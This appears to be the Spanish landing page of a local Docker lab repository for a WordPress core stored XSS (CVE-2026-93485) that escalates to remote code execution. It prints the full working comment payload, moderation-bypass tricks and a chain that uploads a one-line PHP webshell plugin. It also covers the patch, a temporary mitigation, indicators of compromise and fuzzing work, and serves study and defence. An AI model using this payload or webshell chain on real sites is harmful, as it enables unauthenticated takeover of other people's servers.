CVE-2026-93485 · “Comment2Shell”

Stored XSS no autenticado en el core de WordPress -> RCE vía sesión de administrador. Zero-click.

CVSS 3.1 · 7.1 · Patchstack WordPress core · no un plugin Parche: WP 7.1.1 · 2026-09-17 Descubierto por Rafie Muhammad Lab Docker local · código real

00Uso responsable

Sí

Aprender el bug y su parche · enseñar defensa con el control 7.1.1 · probarte en localhost.

No

Atacar sistemas ajenos · integrar el payload en herramientas ofensivas contra terceros · cualquier uso con ánimo de daño.

Sobre la procedencia del material. Todo lo que este laboratorio reproduce era público antes de este repositorio: el payload y la cadena de ataque proceden del write-up publicado por el descubridor, y el análisis del parche, del código publicado por WordPress.org. Este repositorio no aporta técnicas de ataque nuevas: sus aportaciones (sección 03b) son de análisis y defensa. Toda la ejecución ocurre en contenedores Docker locales.

El modo invasivo del CLI (cli/poc.py explotar) exige --acepto-responsabilidad y se niega a salir de hosts locales. La webshell de demostración está etiquetada (c2s-demo, cabecera X-Lab-Marker) y make clean elimina todo el laboratorio.

Aviso de responsabilidad. Este proyecto se distribuye tal cual, con fines exclusivamente educativos y de investigación defensiva, sin garantía de ningún tipo. El autor no se hace responsable del uso que terceros hagan de la información o el código aquí publicados. Todo el material ofensivo reproduce información pública previa y toda la ejecución mostrada ocurre en contenedores Docker locales. El uso contra sistemas sin autorización expresa es ilegal en la mayoría de jurisdicciones y queda prohibido.

Fuentes: Rafie Muhammad · write-up original · commit del parche · Patchstack (CVE, CVSS 7.1) · cronología en research/writeup-original.md · MIT

01El payload, al completo

Un visitante anónimo lo envía por el formulario público de comentarios. El salto de línea dentro de cite es un byte real (0x0A), no un escape; también funciona porque WordPress lo decodifica al almacenar:

<blockquote cite="a
b"><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></blockquote>
PiezaPor qué sobrevive al saneado
cite="a\nb" blockquote[cite] está en la allowlist de kses y wp_kses_hair() re-codifica & < > ' " en los valores… pero no el salto de línea (legal en HTML).
<code>x" … La comilla cruda es TEXTO legal dentro de <code> (también permitido). kses deja los nodos de texto intactos.
onfocus… autofocus… tabindex=0 Inofensivo mientras sea texto; letal cuando el renderizador lo convierte en atributos (paso 4). Se necesitan AMBOS ingredientes: quita el \n o la comilla y el payload muere.

02La brecha entre saneado y renderizado

El bug vive en el hueco entre el filtro que sanea al guardar (kses, con el tokenizer HTML API consciente de comillas) y los filtros que REESCRIBEN el HTML al renderizar (regex sobre strings, sin noción de comillas).

El pipeline real de comment_text (extraído del código fuente)

priolíneacallbackpapel en el ataque
9227make_clickable— (no afecta)
1058wp_kses_postsanea… y deja pasar el \n y la comilla
10225wptexturizeinocua aquí: el tag aún está bien formado y <code> está en su lista de exclusión
25228force_balance_tags—
30230wpautopAQUÍ DIVERGE: su línea 563 inyecta ><p> EN MEDIO del valor de cite (solo 7.1.0)
…y después, sobre el HTML FINAL de la plantilla: block-template.php:297: $content = wptexturize( $content ); — la pasada que riza la comilla.
1
kses aprueba el comentario

La allowlist permite blockquote[cite] y <code>. El \n del cite y la comilla del texto sobreviven (ver tabla de arriba).

2
wpautop rompe el tag (línea 563)

wpautop protege el \n con el placeholder <!-- wpnl -->… que contiene un >. El regex |<p><blockquote([^>]*)>|i no es consciente de comillas: se detiene en ese > interno e inserta ><p> EN MEDIO del valor de cite.

3
wptexturize riza la comilla equivocada

La pasada de wptexturize sobre el HTML FINAL de la plantilla (block-template.php:297) convierte la comilla de cierre del cite en ” (el atributo queda abierto): el <p> inyectado actúa de frontera. Pero <code> está en su lista de exclusión, así que la comilla del payload sobrevive cruda.

4
El navegador ejecuta (zero-click)

El valor de cite se extiende hasta la comilla de <code>x". El resto — onfocus, autofocus, tabindex=0 — son atributos reales del <blockquote>. tabindex=0 lo hace enfocable; autofocus dispara onfocus al cargar. Solo con VER la página.

El mismo comentario, dos versiones de WordPress

WP 7.1.0 — HTML servido -> VULNERABLE

<blockquote cite="a
<p> b”><code>x" onfocus=alert(document.domain)
autofocus tabindex=0>…

La comilla de cierre está rizada (”) -> el navegador sigue dentro del atributo hasta la comilla del payload -> onfocus es un atributo real y se dispara solo.

WP 7.1.1 — HTML servido -> INERTE

<blockquote cite="a
b"><p><code>x" onfocus=alert(document.domain)
autofocus tabindex=0</code></p></blockquote>

La comilla sobrevive -> el payload es texto dentro de <code>. Atributos on* en todo el DOM: 0.

03El parche es UNA línea

--- wp-includes/formatting.php · función wpautop() · línea 563
-  $text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
+  $text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

El patrón nuevo solo cruza comillas por pares completos ("…"), así que el match termina en el > real del tag y el <p> se inserta donde toca. La justificación del parche: la línea 563 era el único lugar donde wpautop INSERTA contenido dentro de un tag; el resto de sus regex solo borran <p>/</p>/<br /> alrededor de tags de bloque, y borrar no cierra comillas.

Enlaces: commit del parche (b05c380) · diff completo 7.1…7.1.1 · tag 7.1.1 · releases de WordPress

Nota forense: wordpress.org retiró el tarball de 7.1.0 (HTTP 404 hoy); el código vulnerable se obtiene del tag 7.1 del mirror GitHub WordPress/WordPress. El Dockerfile del lab lo hace automáticamente.

El diff incluye también un segundo cambio de seguridad: 7.1.1 también endureció WP_HTML_Tag_Processor::set_modifiable_text() (class-wp-html-tag-processor.php:3991: /--!?>/ -> /^-?>|--!?>/). No está en el camino de lectura de kses ni lo mencionó la cobertura pública del CVE.

03bAportaciones de este laboratorio al campo

Hallazgos verificados contra el laboratorio con comandos reproducibles (research/HALLAZGOS.md en el repo).

Post2Shell

La superficie NO es solo comentarios: un colaborador autenticado (sin unfiltered_html) puede plantar el mismo payload como CONTENIDO DE POST — mismo kses al guardar, mismo wpautop, misma pasada de plantilla. Verificado con ejecución real en navegador (7.1.0) e inerte en 7.1.1. IOCs: vigilar también post_content. Reprodúcelo: make post2shell.

wp-admin es zona inerte

El XSS SOLO dispara en el render del tema (frontend). En el dashboard y en REST el payload llega al estado intermedio (wpautop inyectó el <p>, pero la comilla no se riza): la pasada que rompe el atributo vive en get_the_block_template_html(), que no participa ahí. Acota el escenario real, ayuda en forense y tiene valor defensivo (plantilla sin comentarios -> solo expone la vía posts).

El habilitador persiste en 7.1.1

kses.php es IDÉNTICO entre 7.1.0 y 7.1.1: el \n dentro de valores de atributo sigue almacenándose (legal en HTML). El parche desactivó el consumidor peligroso (el regex), no el habilitador. Riesgo latente: cualquier código futuro que vuelva a insertar contenido dentro de tags con regex no conscientes de comillas reabre la puerta.

Regex latentes + fuzzing

Las líneas 557/567/570/588/591 de wpautop siguen usando [^>]* sin noción de comillas. Nuestro fuzzer (~3.800 candidatos contra el pipeline real de ambas versiones) NO encontró ningún diferencial explotable vía ellas — consistente con la justificación del parche (solo la 563 insertaba). Quedan como patrón a vigilar. Tampoco encontramos NINGÚN bypass del parche.

03cCronología y versiones afectadas

  • Reportado y triaged (Rafie Muhammad vía HackerOne / bug bounty de WordPress)

  • CVE solicitado (CNA: Patchstack)

  • Parche en WP 7.1.1 + backports a 25 ramas el mismo día (hasta 4.7.36)

  • CVE-2026-93485 asignado · CVSS 7.1

  • Write-up del descubridor (renombrado Comment2XSS a petición de WordPress)

  • Cobertura de prensa (The Hacker News, Secarma, Aviatrix…)

  • Este laboratorio: derivación independiente + hallazgos propios

Versiones afectadas

RamaVulnerable
7.1.x7.1.0 (la de este lab)
7.0.x7.0.0 – 7.0.4
6.9.x6.9.0 – 6.9.7
anteriores…hasta 4.7.35 (backports a 4.7.36+)

Matiz de detección: el meta generator y el feed solo exponen major.minor (7.1), compartido por 7.1.0 y 7.1.1 — la detección pasiva no distingue parcheado de vulnerable; confirma wp-includes/version.php.

04Del XSS al shell (fase RCE)

1 · nonce

El JS (ya en sesión admin) pide /wp-admin/plugin-install.php?tab=upload y extrae el _wpnonce del formulario.

2 · ZIP en memoria

Construye un PKZIP (entradas STORED + CRC32 propio) con un plugin PHP de una línea system($_GET['c']).

3 · upload-plugin

POST a update.php?action=upload-plugin. Los admin tienen upload_plugins vía map_meta_cap(). Sin activación: los ficheros son directamente alcanzables.

4 · RCE

/wp-content/plugins/x/x.php?c=id -> ejecución de comandos con el usuario del servidor web.

¿Y si hay cola de moderación? Escenarios sin moderación del write-up
  • comment_previously_approved vale 1 por defecto, PERO una instalación nueva trae un comentario aprobado de WordPress Commenter: reusar ese nombre+email auto-aprueba el siguiente.
  • Desmarcar «el autor debe tener un comentario previamente aprobado» en Ajustes -> Comentarios.
  • Los comentarios PENDIENTES se renderizan para quien tenga la cookie comment_author_<hash> vía el enlace preview ?unapproved=<id>&moderation-hash=<hash>.

En el laboratorio esta fase la replica exploit/05_rce.sh con la sesión admin (equivalente 1:1 a tener el navegador comprometido), porque el objetivo es entender la cadena.

05Evidencia visual (capturas reales del laboratorio)

Regenerables con make capturas. La primera pareja usa una variante del payload con efecto visible (el onfocus repinta la página) para que una imagen estática muestre la ejecución zero-click.

WP 7.1.0 con el XSS ejecutado
WP 7.1.0 — la página quedó pintada por el payload al cargar: fondo rojo oscuro y título XSS-EJECUTADO. Sin ningún clic.
WP 7.1.1 con el mismo payload inerte
WP 7.1.1 — el mismo comentario: página normal, payload como texto escapado. 0 atributos on* en el DOM.

06Pruébalo en tu máquina

Requisitos: Docker + docker compose, curl, python3, make. Todo corre en TU máquina contra TUS contenedores; make clean lo destruye.

# desde la raíz del repositorio
make lab        # víctima WP 7.1.0 -> http://localhost:8080  (admin / lab-admin-2026)
make plant      # fase 1: comentario anónimo con el payload
make view       # fase 2: HTML servido -> veredicto
make demo-flip  # fase 3: root-cause con el código real 7.1.0 vs 7.1.1
make rce        # fase 5: nonce -> plugin -> uid=33(www-data)
make post2shell # fase 6 (aportación): vía posts de colaborador
make full-demo  # todo + control negativo WP 7.1.1 en :8081
python3 cli/poc.py # CLI: lab · scan (pasivo) · verificar · explotar (con fricción)
make capturas    # regenera las capturas de evidencia (docs/img/)
make clean      # destruir el laboratorio

Comprobación directa: logueado como admin, abre el post en tu navegador — la alerta salta sin ningún clic.

Mapa afirmación -> verificación

AfirmaciónCómo verificarla
El \n sobrevive a kses dentro de citemake plant (muestra el comentario almacenado vía REST)
wpautop 7.1.0 inyecta <p> dentro del atributo; 7.1.1 nomake demo-flip (PASO 0 extrae la cadena del código real; PASO 5 se difiere contra el HTML en vivo)
El HTML servido deja atributos vivos solo en 7.1.0make view + lo mismo en :8081
El XSS se ejecuta sin clics en un navegador realabrir el post como admin (o Chrome headless — ver research/RESULTADOS.md)
La cadena llega a RCE sin activar ningún pluginmake rce -> uid=33(www-data)
Aportación: la vía posts de colaborador vive en 7.1.0 y muere en 7.1.1make post2shell / make post2shell-control
El parche lo neutraliza todomake control-7111 + repetir plant/view en :8081

07Defensa

MedidaEfecto
Actualizar a WP 7.1.1+ (o backport de tu rama) La única mitigación real. 25 ramas parcheadas el mismo día. Cubre comentarios Y posts (aportación).
Moderación estricta (comment_moderation=1) El payload salta al moderar, no al visitar el post público. Ojo con los escenarios sin moderación del write-up (sección 04).
mu-plugin temporal (quitar \n en tags antes de wpautop) Verificado contra el código real de 7.1.0 con el harness de este repo. Puente hasta actualizar.
Roles diarios sin upload_plugins Contención del impacto: limita la escalada XSS->RCE.
El mu-plugin temporal verificado (cópialo tal cual)
add_filter( 'comment_text', 'c2s_strip_nl_in_tags', 29 );
function c2s_strip_nl_in_tags( $text ) {
    return preg_replace_callback(
        '/<[^<>]*>/',
        fn( $m ) => str_replace( "\n", ' ', $m[0] ),
        $text
    );
}

Prioridad 29 = justo antes de wpautop. Al quitar los saltos de línea dentro de tags, el placeholder «wpnl» deja de existir y el regex vulnerable ya no tiene dónde romper el atributo. Test de regresión incluido en el repo (research/investigacion/test-mitigacion.php).

IOCs: comentarios con blockquote cite que contenga saltos de línea + comilla cruda en el texto; atributos onfocus/autofocus/tabindex sobre <blockquote> en HTML renderizado; también en post_content de usuarios de baja confianza; subidas de ZIP a update.php?action=upload-plugin poco después de que un admin viera posts con comentarios nuevos.

08Cómo se derivó y verificó

A
Harness con el CÓDIGO REAL de ambas versiones

research/investigacion/ carga kses.php + formatting.php + html-api reales de 7.1.0 y 7.1.1 (procesos separados) y ejecuta el pipeline completo de comment_text. Sin servidor, sin navegador: solo las dos implementaciones sobre la misma entrada.

B
Fuzzer de ~3.800 candidatos con detector DOM

Combinaciones de prefijos, atributos con saltos, comillas crudas en texto y etiquetas incompletas contra ambas versiones; solo cuentan los casos ejecutables en 7.1.0 E inertes en 7.1.1 (el diferencial del parche).

C
Por qué las primeras rondas no encontraron el diferencial

Las dos primeras rondas del fuzzer dieron 0 diferenciales porque el pipeline de prueba paraba en wpautop: sin la pasada de wptexturize a nivel de plantilla (la que riza la comilla), el payload queda inerte también en 7.1.0. El pipeline completo está en el core; la demo lo extrae del código fuente y se auto-verifica contra el lab en vivo (PASO 0 y PASO 5 de make demo-flip).

D
Confirmación independiente

El write-up del descubridor (recuperado vía Wayback Machine tras ser renombrado) confirmó el payload derivado. La ejecución se probó con marcadores DOM en Chrome headless (víctima) y con 0 atributos on* (control) — nunca contra servidores ajenos.

Estructura del repositorio

CVE-2026-93485/
├── docker-compose.yml        víctima :8080 + control 7.1.1 :8081 + MySQL 8
├── docker/wordpress/         Dockerfile (WP_VERSION), fetch y entrypoint del lab
├── setup/init.sh             provisioning: post público, comentarios auto-aprobados
├── exploit/                  fases 1-6: plant -> view -> demo root-cause -> JS -> RCE -> Post2Shell
├── cli/poc.py                lab · scan · verificar · explotar (con fricción)
├── docs/                      esta landing + capturas (la sirve GitHub Pages)
├── docs/img/                 capturas del README (make capturas)
├── research/                 PARCHE · HALLAZGOS · write-up original · RESULTADOS · harness/fuzzers
├── NOTAS.md                  proceso de derivación completo
└── Makefile                  un target por fase + capturas + limpieza